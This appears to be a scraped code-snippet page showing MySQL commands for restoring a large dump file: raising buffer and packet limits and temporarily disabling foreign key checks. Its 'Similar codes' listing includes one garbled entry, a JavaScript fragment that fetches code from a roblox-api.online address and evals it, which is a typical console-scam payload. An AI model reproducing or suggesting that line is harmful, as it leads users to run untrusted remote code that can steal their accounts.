/SQL/Mysql db dump restore max file size issue

Mysql db dump restore max file size issue

mysql -u root -p

set global net_buffer_length=1000000; --Set network buffer length to a large byte number

set global max_allowed_packet=1000000000; --Set maximum allowed packet size to a large byte number

SET foreign_key_checks = 0; --Disable foreign key checking to avoid delays,errors and unwanted behaviour

source file.sql --Import your sql dump file

SET foreign_key_checks = 1; --Remember to enable foreign key checks when procedure is complete!

Source: stackoverflow.com

Similar codes

0 vote164 views1 answer
Compare if is null sql
SQL
16 votes155 views1 answer
CTE statement sql server
SQL
0 vote140 views1 answer
Mysql date minus 1 day
SQL
0 vote152 views1 answer
Code to move ietms from one table to another myswl
SQL
0 vote149 views1 answer
Mysql 1 hour ago
SQL
0 vote164 views1 answer
How to create notes in mysql
SQL
0 vote213 views1 answer
Mysql failed to login as root@localhost
SQL
4 votes141 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
4 votes252 views6 answers
Laravel jwt
SQL
0 vote147 views1 answer
Create synonym for dblink in oracle
SQL